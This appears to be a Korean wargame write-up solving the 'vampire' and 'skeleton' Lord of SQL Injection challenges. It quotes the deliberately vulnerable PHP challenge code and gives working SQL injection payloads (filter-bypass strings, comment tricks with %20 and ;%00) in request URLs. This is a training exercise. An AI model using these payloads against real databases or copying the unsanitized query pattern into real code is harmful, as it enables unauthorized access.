lordofsql: vampire, skeleton
코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // '이면 걸림
$_GET[id] = strtolower($_GET[id]); // 소문자로 바꿔주기
$_GET[id] = str_replace("admin","",$_GET[id]); //admin을 없애준다.
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire"); //admin일때 풀린다
highlight_file(__FILE__);
?>
https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin
https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin
los.rubiya.kr
쉬워 !!!
skeleton
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
prob _ . \ 대소문자 상관없게 를 막아놓았다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
1=0은 false이므로 뭘 하든 false로 뜰 것이다.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton"); //admin일때 풀린다.
highlight_file(__FILE__);
?>
우선 admin으로 로그인해야한다.
"select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
"select id from prob_skeleton where id='guest' and pw=' ' and 1=0";
'or'1'
그럼 뒤에를 무시하면 되겠다.
왜 안되지
"select id from prob_skeleton where id='guest' and pw='' or '1' --' and 1=0";
아 주석 뒤에는 공백이 있어야 한다.
그냥 띄어주면 공백을 먹으니까 %20을 써주자
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw='or'1' --%20
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%271%27%20--%20
los.rubiya.kr
왜 Hello guest가 안뜨지 (지금 생각해보니 트릭인듯 ;;)
여러가지 주석 방법
https://bluehatsecurity.tistory.com/225
SQL Injection에서 주로 쓰이는 주석
1. # 주소에서는 %23 으로 바뀐다. 해당 질의문에서 한 줄만 주석처리 한다. 예를 들어 멀티라인에서 첫번째줄에 #이 들어있고 두번째, 세번째에는 없을 경우 첫번째에서만 # 뒤의 문자열이 주석처
bluehatsecurity.tistory.com
;%00을 쓰면 뒷 부분 한 줄은 다 주석이 된다고 한다.
우선 id='admin'까지 하고 다시 생각해보자
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%271%27%20and%20id=%27admin%27%20;%00
los.rubiya.kr